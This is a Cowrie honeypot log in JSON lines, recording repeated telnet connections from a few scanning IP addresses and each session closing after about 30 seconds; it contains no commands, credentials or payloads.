{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33212,"dst_ip":"159.203.135.109","dst_port":23,"session":"8408b40fb331","protocol":"telnet","message":"New connection: 162.241.141.97:33212 (159.203.135.109:23) [session: 8408b40fb331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:32.061994Z"}
{"eventid":"cowrie.session.closed","duration":30.969669580459595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:32.069775Z","src_ip":"162.241.141.97","session":"ab5211333a60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33326,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f10e461db8a","protocol":"telnet","message":"New connection: 162.241.141.97:33326 (159.203.135.109:23) [session: 9f10e461db8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:32.129550Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33758,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ff38d28904","protocol":"telnet","message":"New connection: 162.241.141.97:33758 (159.203.135.109:23) [session: 96ff38d28904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:32.397006Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35124,"dst_ip":"159.203.135.109","dst_port":23,"session":"f04063c854d7","protocol":"telnet","message":"New connection: 162.241.141.97:35124 (159.203.135.109:23) [session: f04063c854d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:33.109264Z"}
{"eventid":"cowrie.session.closed","duration":30.177131175994873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:33.135730Z","src_ip":"192.119.108.58","session":"15cc041665e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":36726,"dst_ip":"159.203.135.109","dst_port":23,"session":"444b6a0a8ab9","protocol":"telnet","message":"New connection: 162.241.141.97:36726 (159.203.135.109:23) [session: 444b6a0a8ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:33.858268Z"}
{"eventid":"cowrie.session.closed","duration":30.6183078289032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:34.128730Z","src_ip":"192.119.108.58","session":"eefc6551dcb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35358,"dst_ip":"159.203.135.109","dst_port":23,"session":"1425b38f1485","protocol":"telnet","message":"New connection: 192.119.108.58:35358 (159.203.135.109:23) [session: 1425b38f1485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:34.205827Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35894,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f383706f96d","protocol":"telnet","message":"New connection: 192.119.108.58:35894 (159.203.135.109:23) [session: 9f383706f96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:34.670575Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34964,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e373d8489e8","protocol":"telnet","message":"New connection: 192.119.108.58:34964 (159.203.135.109:23) [session: 3e373d8489e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:34.840317Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35438,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fd6c8db77c9","protocol":"telnet","message":"New connection: 192.119.108.58:35438 (159.203.135.109:23) [session: 2fd6c8db77c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:35.262768Z"}
{"eventid":"cowrie.session.closed","duration":30.42246103286743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:35.331074Z","src_ip":"162.241.141.97","session":"f9acb3fd2252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192466974258423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:35.382081Z","src_ip":"162.241.141.97","session":"42878e48655e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35902,"dst_ip":"159.203.135.109","dst_port":23,"session":"282d810d87d2","protocol":"telnet","message":"New connection: 192.119.108.58:35902 (159.203.135.109:23) [session: 282d810d87d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:35.676313Z"}
{"eventid":"cowrie.session.closed","duration":31.26683497428894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:35.874115Z","src_ip":"162.241.141.97","session":"f8ae2491bdc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417978763580322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:36.028410Z","src_ip":"192.119.108.58","session":"da8b9886febf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46813464164734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:36.119493Z","src_ip":"162.241.141.97","session":"7734d4d9f437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18712306022644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:36.770180Z","src_ip":"162.241.141.97","session":"f01d20f91fd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03335404396057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:37.107976Z","src_ip":"162.241.141.97","session":"ff8adc298d95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28353190422058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:37.766035Z","src_ip":"162.241.141.97","session":"ea2bc8b104cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542337656021118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:38.201441Z","src_ip":"192.119.108.58","session":"66dc79f49d5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.762377500534058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:38.373044Z","src_ip":"192.119.108.58","session":"1b2dbd97d766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":41278,"dst_ip":"159.203.135.109","dst_port":23,"session":"926cebed3e49","protocol":"telnet","message":"New connection: 162.241.141.97:41278 (159.203.135.109:23) [session: 926cebed3e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:38.490615Z"}
{"eventid":"cowrie.session.closed","duration":30.61285972595215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:39.159374Z","src_ip":"192.119.108.58","session":"c934172264c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699910402297974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:39.265730Z","src_ip":"192.119.108.58","session":"0632ea5d26ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54854,"dst_ip":"10.17.0.5","dst_port":23,"session":"c86524c5dbd3","protocol":"telnet","message":"New connection: 80.241.210.166:54854 (10.17.0.5:23) [session: c86524c5dbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:39.496967Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44602,"dst_ip":"159.203.135.109","dst_port":23,"session":"f993180b3add","protocol":"telnet","message":"New connection: 162.241.141.97:44602 (159.203.135.109:23) [session: f993180b3add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:40.431253Z"}
{"eventid":"cowrie.session.closed","duration":31.382638692855835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:40.437214Z","src_ip":"192.119.108.58","session":"5ebf51a0156d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.161956548690796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:41.008337Z","src_ip":"162.241.141.97","session":"f2396698799d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.132956981658936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:41.085365Z","src_ip":"162.241.141.97","session":"691f189d74c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530332803726196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:41.090580Z","src_ip":"162.241.141.97","session":"e796cdd87f16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374892711639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:41.207251Z","src_ip":"192.119.108.58","session":"67e4ff20022b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72058916091919,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:41.488853Z","src_ip":"162.241.141.97","session":"f4985fd064ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60165548324585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:42.348720Z","src_ip":"162.241.141.97","session":"c82622091d35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41310,"dst_ip":"159.203.135.109","dst_port":23,"session":"e694ab3ca484","protocol":"telnet","message":"New connection: 192.119.108.58:41310 (159.203.135.109:23) [session: e694ab3ca484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:42.913320Z"}
{"eventid":"cowrie.session.closed","duration":30.458181619644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:45.239936Z","src_ip":"192.119.108.58","session":"a028a47837cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60999369621277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:45.328560Z","src_ip":"162.241.141.97","session":"6354a1575099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.738672733306885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:45.884899Z","src_ip":"162.241.141.97","session":"bb5f2f6ad5d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291070699691772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:46.072466Z","src_ip":"192.119.108.58","session":"28ee5f3c98d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46660,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f20e853640","protocol":"telnet","message":"New connection: 192.119.108.58:46660 (159.203.135.109:23) [session: a5f20e853640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:46.132457Z"}
{"eventid":"cowrie.session.closed","duration":30.73310947418213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:46.148302Z","src_ip":"192.119.108.58","session":"82a376dfb305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47092,"dst_ip":"159.203.135.109","dst_port":23,"session":"5302488da51d","protocol":"telnet","message":"New connection: 192.119.108.58:47092 (159.203.135.109:23) [session: 5302488da51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:46.426646Z"}
{"eventid":"cowrie.session.closed","duration":31.25790548324585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:46.450737Z","src_ip":"162.241.141.97","session":"f6d8986aef31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.320573329925537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:46.458902Z","src_ip":"162.241.141.97","session":"5e0a028cf6f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.301033973693848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:46.628323Z","src_ip":"192.119.108.58","session":"046fbca5a48b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":53690,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8671d68ded1","protocol":"telnet","message":"New connection: 162.241.141.97:53690 (159.203.135.109:23) [session: b8671d68ded1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:47.209252Z"}
{"eventid":"cowrie.session.closed","duration":31.000782012939453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:47.315491Z","src_ip":"192.119.108.58","session":"7a6c57072d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49226,"dst_ip":"159.203.135.109","dst_port":23,"session":"f722d8306b5c","protocol":"telnet","message":"New connection: 192.119.108.58:49226 (159.203.135.109:23) [session: f722d8306b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:47.722395Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49484,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4258a3ee02a","protocol":"telnet","message":"New connection: 192.119.108.58:49484 (159.203.135.109:23) [session: a4258a3ee02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:47.973069Z"}
{"eventid":"cowrie.session.closed","duration":30.70847249031067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:48.028208Z","src_ip":"50.6.231.162","session":"d953b5bd2f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49750,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a6edb2f5060","protocol":"telnet","message":"New connection: 192.119.108.58:49750 (159.203.135.109:23) [session: 8a6edb2f5060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:48.229142Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49776,"dst_ip":"159.203.135.109","dst_port":23,"session":"1107543dbc91","protocol":"telnet","message":"New connection: 192.119.108.58:49776 (159.203.135.109:23) [session: 1107543dbc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:48.236456Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49208,"dst_ip":"159.203.135.109","dst_port":23,"session":"84177b7a24be","protocol":"telnet","message":"New connection: 192.119.108.58:49208 (159.203.135.109:23) [session: 84177b7a24be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:48.706477Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47936,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c3054381982","protocol":"telnet","message":"New connection: 192.119.108.58:47936 (159.203.135.109:23) [session: 7c3054381982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:49.318764Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48188,"dst_ip":"159.203.135.109","dst_port":23,"session":"56570bb32fd6","protocol":"telnet","message":"New connection: 192.119.108.58:48188 (159.203.135.109:23) [session: 56570bb32fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:49.534514Z"}
{"eventid":"cowrie.session.closed","duration":30.827834129333496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:51.023013Z","src_ip":"192.119.108.58","session":"9abf4269fab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49678,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cb519f4d600","protocol":"telnet","message":"New connection: 192.119.108.58:49678 (159.203.135.109:23) [session: 8cb519f4d600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:51.178463Z"}
{"eventid":"cowrie.session.closed","duration":30.580527305603027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:51.381856Z","src_ip":"162.241.141.97","session":"e477a9eb5cb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058231115341187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:52.102139Z","src_ip":"162.241.141.97","session":"e495192172c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53482,"dst_ip":"159.203.135.109","dst_port":23,"session":"e657c5a0b402","protocol":"telnet","message":"New connection: 192.119.108.58:53482 (159.203.135.109:23) [session: e657c5a0b402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:52.342509Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":58972,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24c75fdf29a","protocol":"telnet","message":"New connection: 162.241.141.97:58972 (159.203.135.109:23) [session: b24c75fdf29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:52.616064Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60072,"dst_ip":"159.203.135.109","dst_port":23,"session":"682d1036f6e7","protocol":"telnet","message":"New connection: 162.241.141.97:60072 (159.203.135.109:23) [session: 682d1036f6e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:53.202882Z"}
{"eventid":"cowrie.session.closed","duration":30.533904790878296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:54.095373Z","src_ip":"192.119.108.58","session":"7144263261fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45034408569336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:55.279170Z","src_ip":"192.119.108.58","session":"53229f2f8966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55864,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d4d556f06fb","protocol":"telnet","message":"New connection: 192.119.108.58:55864 (159.203.135.109:23) [session: 8d4d556f06fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:56.191303Z"}
{"eventid":"cowrie.session.closed","duration":30.69214630126953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:57.006815Z","src_ip":"162.241.141.97","session":"848de618a0c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":51222,"dst_ip":"10.17.0.5","dst_port":23,"session":"5192e99ae6f1","protocol":"telnet","message":"New connection: 80.241.210.166:51222 (10.17.0.5:23) [session: 5192e99ae6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:58.245306Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":37842,"dst_ip":"159.203.135.109","dst_port":23,"session":"aae8141426b8","protocol":"telnet","message":"New connection: 162.241.141.97:37842 (159.203.135.109:23) [session: aae8141426b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:58.550127Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":56554,"dst_ip":"159.203.135.109","dst_port":23,"session":"59f5e1721a03","protocol":"telnet","message":"New connection: 192.119.108.58:56554 (159.203.135.109:23) [session: 59f5e1721a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:59.034440Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58366,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2743056006","protocol":"telnet","message":"New connection: 192.119.108.58:58366 (159.203.135.109:23) [session: 4c2743056006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:59.314927Z"}
{"eventid":"cowrie.session.closed","duration":31.370039463043213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:59.350286Z","src_ip":"162.241.141.97","session":"5cafe8770b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59026,"dst_ip":"159.203.135.109","dst_port":23,"session":"561972506938","protocol":"telnet","message":"New connection: 192.119.108.58:59026 (159.203.135.109:23) [session: 561972506938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:00.191755Z"}
{"eventid":"cowrie.session.closed","duration":30.4345645904541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:01.174986Z","src_ip":"192.119.108.58","session":"88512edc7052","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472642421722412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:02.208688Z","src_ip":"162.241.141.97","session":"5fa55a98715c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945024251937866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:03.006900Z","src_ip":"162.241.141.97","session":"8408b40fb331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59930,"dst_ip":"159.203.135.109","dst_port":23,"session":"027799bdc088","protocol":"telnet","message":"New connection: 192.119.108.58:59930 (159.203.135.109:23) [session: 027799bdc088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:03.240554Z"}
{"eventid":"cowrie.session.closed","duration":31.380831480026245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:03.410806Z","src_ip":"162.241.141.97","session":"be93b80a22a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173832893371582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:03.570719Z","src_ip":"162.241.141.97","session":"96ff38d28904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.612430810928345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:03.741833Z","src_ip":"162.241.141.97","session":"9f10e461db8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894110441207886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:04.003241Z","src_ip":"162.241.141.97","session":"f04063c854d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.173653841018677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:04.031816Z","src_ip":"162.241.141.97","session":"444b6a0a8ab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44782,"dst_ip":"159.203.135.109","dst_port":23,"session":"99558472dcda","protocol":"telnet","message":"New connection: 162.241.141.97:44782 (159.203.135.109:23) [session: 99558472dcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:04.624616Z"}
{"eventid":"cowrie.session.closed","duration":30.826611280441284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:05.032728Z","src_ip":"192.119.108.58","session":"1425b38f1485","protocol":"telnet"}
